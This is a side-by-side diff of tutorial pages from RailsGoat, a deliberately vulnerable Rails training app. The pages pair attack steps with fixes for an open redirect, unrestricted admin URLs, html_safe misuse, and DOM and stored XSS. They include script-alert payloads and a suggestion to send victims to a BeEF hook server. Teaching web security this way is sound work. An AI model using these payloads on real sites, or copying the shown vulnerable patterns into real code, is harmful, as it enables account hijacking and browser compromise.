<div class="accordion-body collapse" id="collapseFour" style="height: 0px;"> <div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
<div class="accordion-inner"> <div class="accordion-inner">
It has to do with mass-assignment, whitelisting and configuration. It has to do with mass-assignment, whitelisting and configuration.
</div> </div>
</div> </div>
</div> </div>
@@ -71,7 +71,7 @@
</div> </div>
<div class="accordion-body collapse" id="collapseEight" style="height: 0px;"> <div class="accordion-body collapse" id="collapseEight" style="height: 0px;">
<div class="accordion-inner"> <div class="accordion-inner">
Think HTML entities, escaping and initializers. Think HTML entities, escaping and initializers.
</div> </div>
</div> </div>
</div> </div>
@@ -39,9 +39,9 @@
<p class="desc"> <p class="desc">
The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page. The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page.
</p> </p>
<pre class="ruby"> <pre class="ruby">
def create def create
<span style="background-color:yellow">path = params[:url].present? ? params[:url] : home_dashboard_index_path</span> <span style="background-color:yellow">path = params[:url].present? ? params[:url] : home_dashboard_index_path</span>
begin begin
# Normalize the email address, why not # Normalize the email address, why not
user = User.authenticate(params[:email].to_s.downcase, params[:password]) user = User.authenticate(params[:email].to_s.downcase, params[:password])
@@ -54,13 +54,13 @@
redirect_to path redirect_to path
else else
# Removed this code, just doesn't seem specific enough! # Removed this code, just doesn't seem specific enough!
# flash[:error] = "Either your username and password is incorrect" # flash[:error] = "Either your username and password is incorrect"
flash[:error] = e.message flash[:error] = e.message
render "new" render "new"
end end
end end
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -77,18 +77,18 @@
<p><b>Unvalidated Redirects and Forwards - ATTACK</b></p> <p><b>Unvalidated Redirects and Forwards - ATTACK</b></p>
<p class="desc"> <p class="desc">
Ensure you are logged out of the application. When requesting the login page, ensure you append a url=<your test url here>. Then, authenticate to the application. Once authenticated, you should be redirected to your test url. Ensure you are logged out of the application. When requesting the login page, ensure you append a url=<your test url here>. Then, authenticate to the application. Once authenticated, you should be redirected to your test url.
</p> </p>
<p><b>Unvalidated Redirects and Forwards - SOLUTION</b></p> <p><b>Unvalidated Redirects and Forwards - SOLUTION</b></p>
<p class="desc"> <p class="desc">
To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like: To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like:
</p> </p>
<pre class="ruby"> <pre class="ruby">
path = home_dashboard_index_path path = home_dashboard_index_path
begin begin
if params[:url].present? if params[:url].present?
path = URI.parse(params[:url]).path path = URI.parse(params[:url]).path
end end
rescue rescue
end end
</pre> </pre>
<p class="desc"> <p class="desc">
@@ -112,7 +112,7 @@
</p> </p>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -56,10 +56,10 @@
</pre> </pre>
<p class="desc"> <p class="desc">
To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted): To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted):
</p> </p>
<pre class="ruby"> <pre class="ruby">
Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session'<span style="background-color:yellow">, :secure => true Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session'<span style="background-color:yellow">, :secure => true
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -36,11 +36,11 @@
<pre class="ruby"> <pre class="ruby">
<%= %q{ <%= %q{
class AdminController < ApplicationController class AdminController < ApplicationController
skip_before_filter :has_info skip_before_filter :has_info
} %> } %>
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -57,34 +57,34 @@
<p><b>Failure to Restrict URL Access - ATTACK</b></p> <p><b>Failure to Restrict URL Access - ATTACK</b></p>
<p class="desc"> <p class="desc">
Request the following URL /admin/1/dashboard and have fun :-) Request the following URL /admin/1/dashboard and have fun :-)
</p> </p>
<p><b>Failure to Restrict URL Access - SOLUTION</b></p> <p><b>Failure to Restrict URL Access - SOLUTION</b></p>
<p class="desc"> <p class="desc">
The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb: The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb:
</p> </p>
<pre class="ruby"> <pre class="ruby">
helper_method :current_user, <span style="background-color:yellow">:is_admin?</span> helper_method :current_user, <span style="background-color:yellow">:is_admin?</span>
def is_admin? def is_admin?
current_user.admin if current_user current_user.admin if current_user
end end
def administrative def administrative
if not is_admin? if not is_admin?
reset_session reset_session
redirect_to root_url redirect_to root_url
end end
end end
</pre> </pre>
<p> <p>
Then add the following line within app/controllers/admin_controller.rb Then add the following line within app/controllers/admin_controller.rb
</p> </p>
<pre class="ruby"> <pre class="ruby">
class AdminController < ApplicationController class AdminController < ApplicationController
<span style="background-color:yellow">before_filter :administrative</span> <span style="background-color:yellow">before_filter :administrative</span>
skip_before_filter :has_info skip_before_filter :has_info
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -17,7 +17,7 @@
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;"> <div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
<div class="accordion-inner"> <div class="accordion-inner">
<p> <p>
DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victims browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victims browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
</p> </p>
</div> </div>
</div> </div>
@@ -36,8 +36,8 @@
The following code was taken from app/views/sessions/new.html.erb: The following code was taken from app/views/sessions/new.html.erb:
</p> </p>
<pre class="javascript"> <pre class="javascript">
<%= <%=
%{ %{
<script> <script>
//document.write("<select style=\"width: 100px;\">"); //document.write("<select style=\"width: 100px;\">");
//document.write("<OPTION value=1>English</OPTION>"); //document.write("<OPTION value=1>English</OPTION>");
@@ -50,13 +50,13 @@
\} catch(err) \{ \} catch(err) \{
\} \}
//document.write("</select>"); //document.write("</select>");
</script> </script>
} }
%> %>
</pre> </pre>
<p class="desc"> <p class="desc">
The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping. The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -71,14 +71,14 @@
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;"> <div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
<div class="accordion-inner"> <div class="accordion-inner">
<p><b> Stored Cross-Site Scripting ATTACK:</b></p> <p><b> Stored Cross-Site Scripting ATTACK:</b></p>
<p class="desc"> <p class="desc">
Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box: Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box:
</p> </p>
<pre> <pre>
<%= %{http://127.0.0.1:3000/#test=<script>alert(1)</script>} %> <%= %{http://127.0.0.1:3000/#test=<script>alert(1)</script>} %>
</pre> </pre>
<p><b> Stored Cross-Site Scripting SOLUTION:</b></p> <p><b> Stored Cross-Site Scripting SOLUTION:</b></p>
<p> <p>
Leverage the Hogan function for escaping (found in the application.js file) to escape user input: Leverage the Hogan function for escaping (found in the application.js file) to escape user input:
</p> </p>
<pre class="javascript"> <pre class="javascript">
@@ -97,10 +97,10 @@
\} \}
//document.write("</select>"); //document.write("</select>");
</script> </script>
} }
%> %>
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -31,23 +31,23 @@
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;"> <div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
<div class="accordion-inner"> <div class="accordion-inner">
<p><b>Stored Cross-Site Scripting - The following code was taken from app/views/layouts/shared/_header.html.erb</b></p> <p><b>Stored Cross-Site Scripting - The following code was taken from app/views/layouts/shared/_header.html.erb</b></p>
<p> <p>
<pre class="ruby"> <pre class="ruby">
<%= @code %> <%= @code %>
</pre> </pre>
</p> </p>
<p class="desc"> <p class="desc">
Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil. Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil.
<pre class="ruby"> <pre class="ruby">
# Psuedo-code to help conceptualize # Psuedo-code to help conceptualize
def raw(dirty_string) def raw(dirty_string)
dirty_string.to_s.html_safe dirty_string.to_s.html_safe
end end
</pre> </pre>
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -66,7 +66,7 @@
<p> When registering, enter your JavaScript tag such as <%= %{<script>alert("ohai")</script>} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <b><%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %></b> and have some fun as well. <p> When registering, enter your JavaScript tag such as <%= %{<script>alert("ohai")</script>} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <b><%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %></b> and have some fun as well.
</p> </p>
<p><b> Stored Cross-Site Scripting SOLUTION:</b></p> <p><b> Stored Cross-Site Scripting SOLUTION:</b></p>
<p> <p>
Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags(). Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags().
</p> </p>
</div> </div>
+4 -4
View File
@@ -8,20 +8,20 @@
<!--[if lte IE 7]> <!--[if lte IE 7]>
<script src="assets/fonts/lte-ie7.js"> <script src="assets/fonts/lte-ie7.js">
</script> </script>
<![endif]--> <![endif]-->
</head> </head>
<body> <body>
<%= render "layouts/tutorial/header" %> <%= render "layouts/tutorial/header" %>
<%= render "layouts/tutorial/sidebar" %> <%= render "layouts/tutorial/sidebar" %>
<div class="container-fluid"> <div class="container-fluid">
<div class="dashboard-wrapper"> <div class="dashboard-wrapper">
<%= yield %> <%= yield %>
</div> </div>
</div> </div>
<%= render "layouts/shared/footer" %> <%= render "layouts/shared/footer" %>
</body> </body>
</html> </html>
+8 -8
View File
@@ -71,7 +71,7 @@
</div> </div>
<div class="row-fluid"> <div class="row-fluid">
<div class="span8"> <div class="span8">
<!-- Begin Message Draft Content--> <!-- Begin Message Draft Content-->
<%= form_for @message, :url => user_messages_path, :method => :post, :html => {:id => "send_message"} do |f|%> <%= form_for @message, :url => user_messages_path, :method => :post, :html => {:id => "send_message"} do |f|%>
<%= f.hidden_field :creator_id, :value => current_user.id %> <%= f.hidden_field :creator_id, :value => current_user.id %>
<%= f.hidden_field :read, :value => '0' %> <%= f.hidden_field :read, :value => '0' %>
@@ -79,21 +79,21 @@
<%= f.label "To:", nil, {:class => "control-label"}%> <%= f.label "To:", nil, {:class => "control-label"}%>
<%= f.select(:receiver_id, options_from_collection_for_select(User.all, :id, :full_name)) %> <%= f.select(:receiver_id, options_from_collection_for_select(User.all, :id, :full_name)) %>
</div> </div>
<div class="control-group"> <div class="control-group">
<%= f.label :message, nil, {:class => "control-label"}%> <%= f.label :message, nil, {:class => "control-label"}%>
<%= f.text_area :message, {:class => "span12"} %> <%= f.text_area :message, {:class => "span12"} %>
</div> </div>
<div class="form-actions no-margin"> <div class="form-actions no-margin">
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info pull-right"} %> <%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info pull-right"} %>
</div> </div>
<div class="clearfix"></div> <div class="clearfix"></div>
<% end %> <% end %>
<!-- End Message Draft Content--> <!-- End Message Draft Content-->
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -101,7 +101,7 @@
</div> </div>
<!-- End Row --> <!-- End Row -->
</div> </div>
</div> </div>
</body> </body>
</html> </html>
@@ -111,7 +111,7 @@ $("#submit_button").click(function(event) {
var valuesToSubmit = $("#send_message").serialize(); var valuesToSubmit = $("#send_message").serialize();
event.preventDefault(); event.preventDefault();
$.ajax({ $.ajax({
url: <%= "/users/#{current_user.user_id}/messages.json".inspect.html_safe %>, url: <%= "/users/#{current_user.user_id}/messages.json".inspect.html_safe %>,
data: valuesToSubmit, data: valuesToSubmit,
type: "POST", type: "POST",
success: function(response) { success: function(response) {
+1 -1
View File
@@ -33,7 +33,7 @@
</div> </div>
</div> </div>
</div> </div>
<script type="text/javascript"> <script type="text/javascript">
function makeActive(){ function makeActive(){
$('li[id="messages"]').addClass('active'); $('li[id="messages"]').addClass('active');
}; };
+7 -7
View File
@@ -11,7 +11,7 @@
</p> </p>
</div> </div>
</div> </div>
</div> </div>
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <div class="span12">
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in"> <div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
@@ -78,14 +78,14 @@
<% end %> <% end %>
<div class="clearfix"> <div class="clearfix">
</div> </div>
</div> </div>
<!-- End WB--> <!-- End WB-->
</div> </div>
</div> </div>
</div> </div>
<!-- End DP--> <!-- End DP-->
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <div class="span12">
@@ -130,7 +130,7 @@ function makeActive(){
$('#calendar').fullCalendar({ $('#calendar').fullCalendar({
events: <%= get_pto_schedule_schedule_index_path(:format => "json").inspect.html_safe %>, events: <%= get_pto_schedule_schedule_index_path(:format => "json").inspect.html_safe %>,
}); });
+23 -23
View File
@@ -11,7 +11,7 @@
</p> </p>
</div> </div>
</div> </div>
</div> </div>
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <div class="span12">
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in"> <div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
@@ -37,33 +37,33 @@
<div class="row-fluid"> <div class="row-fluid">
<%= form_tag "#", {:class => "form-horizontal", :id => "bank_info_form" } do %> <%= form_tag "#", {:class => "form-horizontal", :id => "bank_info_form" } do %>
<!-- Begin inputs--> <!-- Begin inputs-->
<div class="input-append"> <div class="input-append">
<%= text_field_tag :bank_account_num, params[:bank_account_num], {:placeholder => "Bank Account Number"} %> <%= text_field_tag :bank_account_num, params[:bank_account_num], {:placeholder => "Bank Account Number"} %>
<span class="add-on">#</span> <span class="add-on">#</span>
</div> </div>
<div class="input-append"> <div class="input-append">
<%= text_field_tag :bank_routing_num, params[:bank_routing_num], {:placeholder => "Bank Routing Number"} %> <%= text_field_tag :bank_routing_num, params[:bank_routing_num], {:placeholder => "Bank Routing Number"} %>
<span class="add-on">#</span> <span class="add-on">#</span>
</div> </div>
<div class="input-append"> <div class="input-append">
<%= text_field_tag :dd_percent, params[:dd_percent], {:placeholder => "Percentage of Deposit"} %> <%= text_field_tag :dd_percent, params[:dd_percent], {:placeholder => "Percentage of Deposit"} %>
<span class="add-on">%</span> <span class="add-on">%</span>
</div> </div>
<!-- End Inputs --> <!-- End Inputs -->
<%= submit_tag "Submit", {:id => "dd_form_btn", :style => "margin-left: 10px;", :class => "btn btn-medium btn-primary"} %> <%= submit_tag "Submit", {:id => "dd_form_btn", :style => "margin-left: 10px;", :class => "btn btn-medium btn-primary"} %>
<% end %> <% end %>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
<!-- End Row-Fluid for Inputs--> <!-- End Row-Fluid for Inputs-->
<!-- ###################--> <!-- ###################-->
<!-- Begin Dynamic Table ColSpan Table --> <!-- Begin Dynamic Table ColSpan Table -->
<div class="row-fluid"> <div class="row-fluid">
@@ -79,7 +79,7 @@
<!-- End Widget Header--> <!-- End Widget Header-->
<div class="widget-body"> <div class="widget-body">
<div id="dt_example" class="example_alt_pagination"> <div id="dt_example" class="example_alt_pagination">
<table class="table table-condensed table-striped table-hover table-bordered pull-left" id="data_table"> <table class="table table-condensed table-striped table-hover table-bordered pull-left" id="data_table">
<thead> <thead>
<tr> <tr>
<th style="width:30%"> <th style="width:30%">
@@ -102,7 +102,7 @@
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
</tbody> </tbody>
</table> </table>
<div class="clearfix"> <div class="clearfix">
@@ -114,7 +114,7 @@
</div </div
<!-- End Dynamic Table ColSpan Table --> <!-- End Dynamic Table ColSpan Table -->
<!-- ###################--> <!-- ###################-->
<!-- Begin Row-Fluid for Decryption Input --> <!-- Begin Row-Fluid for Decryption Input -->
<div class="row-fluid"> <div class="row-fluid">
<div class="span9"> <div class="span9">
@@ -128,16 +128,16 @@
<div class="row-fluid"> <div class="row-fluid">
<%= form_tag "#", {:class => "form-horizontal", :id => "decrypt_form" } do %> <%= form_tag "#", {:class => "form-horizontal", :id => "decrypt_form" } do %>
<!-- Begin inputs--> <!-- Begin inputs-->
<div class="input-append"> <div class="input-append">
<%= text_field_tag :value_to_decrypt, params[:value_to_decrypt], {:placeholder => "Bank Account Number"} %> <%= text_field_tag :value_to_decrypt, params[:value_to_decrypt], {:placeholder => "Bank Account Number"} %>
<span class="add-on">#</span> <span class="add-on">#</span>
</div> </div>
<!-- End Inputs --> <!-- End Inputs -->
<%= submit_tag "Submit", {:id => "decrypt_btn", :style => "margin-left: 10px;", :class => "btn btn-medium btn-primary"} %> <%= submit_tag "Submit", {:id => "decrypt_btn", :style => "margin-left: 10px;", :class => "btn btn-medium btn-primary"} %>
<% end %> <% end %>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -157,7 +157,7 @@
function buildDeleteLink(dd_id){ function buildDeleteLink(dd_id){
var link = '<a href="/users/' + '<%= current_user.id %>' + '/pay/'+ dd_id + '" data-method="delete" rel="nofollow" class="delete-row">' + var link = '<a href="/users/' + '<%= current_user.id %>' + '/pay/'+ dd_id + '" data-method="delete" rel="nofollow" class="delete-row">' +
'<i class="icon-trash">'+ '<i class="icon-trash">'+
'</i></a>' '</i></a>'
return link return link
}; };
@@ -175,7 +175,7 @@ function parseDirectDepostInfo(response){
buildDeleteLink(val.id) buildDeleteLink(val.id)
] ); ] );
}); });
}; };
/* /*
@@ -203,11 +203,11 @@ function populateTable() {
function createDataTable(){ function createDataTable(){
$('#data_table').dataTable({ $('#data_table').dataTable({
"sPaginationType": "full_numbers" "sPaginationType": "full_numbers"
}); });
}; };
/* /*
This function doesn't really work right now but is supposed to offer the user a This function doesn't really work right now but is supposed to offer the user a
"delete confirmation" message "delete confirmation" message
*/ */
$('.delete-row').click(function () { $('.delete-row').click(function () {
@@ -291,7 +291,7 @@ function makeActive(){
1) makeActive - Adds the active class to the sidebar element 1) makeActive - Adds the active class to the sidebar element
2) createDataTable - Initializes the dataTable as such 2) createDataTable - Initializes the dataTable as such
3) populateTable - populates the newly initialized dataTable 3) populateTable - populates the newly initialized dataTable
*/ */
$(document).ready( $(document).ready(
makeActive, makeActive,
createDataTable(), createDataTable(),
+1 -1
View File
@@ -66,7 +66,7 @@ function drawChart2() {
]); ]);
var options = { var options = {
min: 1, min: 1,
max: 5, max: 5,
width: 'auto', width: 'auto',
height: '160', height: '160',
+2 -2
View File
@@ -65,7 +65,7 @@
<hr/> <hr/>
<p> <p>
MetaCorp is dedicated to its employees and this service is just one way of showing it! MetaCorp is dedicated to its employees and this service is just one way of showing it!
</p> </p>
</div> </div>
</div> </div>
</div> <!-- End of span--> </div> <!-- End of span-->
@@ -78,7 +78,7 @@
function makeActive(){ function makeActive(){
$('li[id="retirement"]').addClass('active'); $('li[id="retirement"]').addClass('active');
}; };
$(document).ready(makeActive) $(document).ready(makeActive)
</script> </script>
+4 -4
View File
@@ -36,16 +36,16 @@
</div> </div>
<div class="actions"> <div class="actions">
<%= link_to "Forgot Password", forgot_password_path, {:class=>"pull-left"}%><br/> <%= link_to "Forgot Password", forgot_password_path, {:class=>"pull-left"}%><br/>
<%= submit_tag "Login", {:class => "btn btn-info btn-large pull-right"} %> <%= submit_tag "Login", {:class => "btn btn-info btn-large pull-right"} %>
<span class="checkbox-wrapper"> <span class="checkbox-wrapper">
<%= check_box_tag :remember_me, 1, params[:remember_me], {:id => "form-terms", :class => "checkbox", :type => "checkbox"} %> <%= check_box_tag :remember_me, 1, params[:remember_me], {:id => "form-terms", :class => "checkbox", :type => "checkbox"} %>
<label class="checkbox-label" for="form-terms"></label> <span class="label-text">Remember</span> <label class="checkbox-label" for="form-terms"></label> <span class="label-text">Remember</span>
</span> </span>
<div class="clearfix"></div> <div class="clearfix"></div>
<% end %> <% end %>
+5 -5
View File
@@ -5,19 +5,19 @@
<%= render :partial => "layouts/tutorial/exposure/password_hashing" %> <%= render :partial => "layouts/tutorial/exposure/password_hashing" %>
</div> <!-- End of span--> </div> <!-- End of span-->
</div> </div>
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <div class="span12">
<%= render :partial => "layouts/tutorial/exposure/ssn" %> <%= render :partial => "layouts/tutorial/exposure/ssn" %>
</div> </div>
</div> </div>
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <div class="span12">
<%= render :partial => "layouts/tutorial/exposure/model_attributes_exposure" %> <%= render :partial => "layouts/tutorial/exposure/model_attributes_exposure" %>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
+3 -3
View File
@@ -10,18 +10,18 @@
</div> </div>
<div class="widget-body"> <div class="widget-body">
<p class="desc"> <p class="desc">
Gauntlt is a tool used for unit testing leveraging third-party tools. We've baked this into Railsgoat so that you can play with it. <br/><br/> To learn more about this tool, please visit their site at: <%= link_to "Gauntlet Github Repository", "https://github.com/gauntlt/gauntlt", {:style =>"color: rgb(181, 121, 158);"} %></p> Gauntlt is a tool used for unit testing leveraging third-party tools. We've baked this into Railsgoat so that you can play with it. <br/><br/> To learn more about this tool, please visit their site at: <%= link_to "Gauntlet Github Repository", "https://github.com/gauntlt/gauntlt", {:style =>"color: rgb(181, 121, 158);"} %></p>
<p class="desc"> <p class="desc">
All *.attack files are contained under the gauntlt_scripts directory. We have provided a simple.attack file that demonstrates the tool works. If errors occur, please submit a bug through our github powered issue tracking system. All *.attack files are contained under the gauntlt_scripts directory. We have provided a simple.attack file that demonstrates the tool works. If errors occur, please submit a bug through our github powered issue tracking system.
</p> </p>
<p class="desc"> <p class="desc">
To run this tool type this via the command line: <br/><br/>$ gauntlt To run this tool type this via the command line: <br/><br/>$ gauntlt
</p> </p>
</div> </div>
</div> </div>
</div> <!-- End Span12--> </div> <!-- End Span12-->
</div> </div>
</div> </div>
</div> </div>
+1 -1
View File
@@ -10,7 +10,7 @@
</div> </div>
<div class="widget-body"> <div class="widget-body">
<iframe src="http://player.vimeo.com/video/63901340" width="500" height="281" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe> <iframe src="http://player.vimeo.com/video/63901340" width="500" height="281" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
+10 -10
View File
@@ -1,8 +1,8 @@
<div class="dashboard-wrapper"> <div class="dashboard-wrapper">
<div class="main-container"> <div class="main-container">
<h1> Welcome to RailsGoat </h1> <h1> Welcome to RailsGoat </h1>
<h3> Tutorial Guide </h3> <h3> Tutorial Guide </h3>
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <div class="span12">
<div class="widget"> <div class="widget">
@@ -23,7 +23,7 @@
</div> </div>
<hr/> <hr/>
<img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-1.png")%> /> <img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-1.png")%> />
</div> </div>
</div> </div>
</div> </div>
<div class="widget"> <div class="widget">
@@ -49,7 +49,7 @@
</div> </div>
<hr/> <hr/>
<img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-2.png")%> /> <img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-2.png")%> />
</div> </div>
</div> </div>
</div> </div>
<div class="widget"> <div class="widget">
@@ -65,19 +65,19 @@
HACK! HACK!
</h1> </h1>
<p class="desc"> <p class="desc">
</p> </p>
</div> </div>
<hr/> <hr/>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
<script type="text/javascript"> <script type="text/javascript">
+1 -1
View File
@@ -9,7 +9,7 @@
<div class="span12"> <!-- Begin Span12--> <div class="span12"> <!-- Begin Span12-->
<%= render :partial => "layouts/tutorial/misconfig/misconfig_second"%> <%= render :partial => "layouts/tutorial/misconfig/misconfig_second"%>
</div> <!-- End Span12--> </div> <!-- End Span12-->
</div> </div>
</div> </div>
</div> </div>
+13 -13
View File
@@ -11,7 +11,7 @@
</p> </p>
</div> </div>
</div> </div>
</div> </div>
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <div class="span12">
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in"> <div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
@@ -29,7 +29,7 @@
<div class="widget"> <div class="widget">
<div class="widget-header"> <div class="widget-header">
<div class="title"> <div class="title">
<span class="fs1" aria-hidden="true" data-icon="&#xe090;"></span> Profile Settings <span class="fs1" aria-hidden="true" data-icon="&#xe090;"></span> Profile Settings
<span class="mini-title"> <span class="mini-title">
Edit your account details Edit your account details
</span> </span>
@@ -42,42 +42,42 @@
<%= f.label :email, nil, {:class => "control-label"}%> <%= f.label :email, nil, {:class => "control-label"}%>
<%= f.text_field :email, {:class => "span12"}%> <%= f.text_field :email, {:class => "span12"}%>
</div> </div>
<div class="control-group"> <div class="control-group">
<%= f.label :first_name, nil, {:class => "control-label"}%> <%= f.label :first_name, nil, {:class => "control-label"}%>
<%= f.text_field :first_name, {:class => "span12"} %> <%= f.text_field :first_name, {:class => "span12"} %>
</div> </div>
<div> <div>
<%= f.label :last_name, nil, {:class => "control-label"}%> <%= f.label :last_name, nil, {:class => "control-label"}%>
<%= f.text_field :last_name, {:class => "span12"} %> <%= f.text_field :last_name, {:class => "span12"} %>
</div> </div>
<div class="control-group"> <div class="control-group">
<%= f.label :password, nil, {:class => "control-label"}%> <%= f.label :password, nil, {:class => "control-label"}%>
<%= f.password_field :password, {:class => "span12", :placeholder => "Enter Password"}%> <%= f.password_field :password, {:class => "span12", :placeholder => "Enter Password"}%>
</div> </div>
<div class="control-group"> <div class="control-group">
<%= f.label :password_confirmation, nil, {:class => "control-label"}%> <%= f.label :password_confirmation, nil, {:class => "control-label"}%>
<%= f.password_field :password_confirmation, {:class => "span12", :placeholder => "Enter Password"} %> <%= f.password_field :password_confirmation, {:class => "span12", :placeholder => "Enter Password"} %>
</div> </div>
<div class="form-actions no-margin"> <div class="form-actions no-margin">
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info pull-right"} %> <%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info pull-right"} %>
</div> </div>
<div class="clearfix"> <div class="clearfix">
</div> </div>
<% end %> <% end %>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
<%= javascript_include_tag ('validation.js')%> <%= javascript_include_tag ('validation.js')%>
<script type="text/javascript"> <script type="text/javascript">
$("#submit_button").click(function(event) { $("#submit_button").click(function(event) {
@@ -102,6 +102,6 @@ $("#submit_button").click(function(event) {
</script> </script>
+8 -8
View File
@@ -1,24 +1,24 @@
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <div class="span12">
<div class="row-fluid"> <div class="row-fluid">
<div class="span4 offset4"> <div class="span4 offset4">
<div class="signup"> <div class="signup">
<%= form_for @user, :html => {:id => "account_edit", :class=> "signup-wrapper"} do |f| %> <%= form_for @user, :html => {:id => "account_edit", :class=> "signup-wrapper"} do |f| %>
<div class="header"> <div class="header">
<h2>Sign Up</h2> <h2>Sign Up</h2>
<p>Fill out the form below to login</p> <p>Fill out the form below to login</p>
</div> </div>
<div class="content"> <div class="content">
<%= f.text_field :email, {:class => "input input-block-level", :placeholder => "Email"} %> <%= f.text_field :email, {:class => "input input-block-level", :placeholder => "Email"} %>
<%= f.text_field :first_name, {:class => "input input-block-level", :placeholder => "First Name"} %> <%= f.text_field :first_name, {:class => "input input-block-level", :placeholder => "First Name"} %>
<%= f.text_field :last_name, {:class => "input input-block-level", :placeholder => "Last Name"} %> <%= f.text_field :last_name, {:class => "input input-block-level", :placeholder => "Last Name"} %>
<div class="control-group"> <div class="control-group">
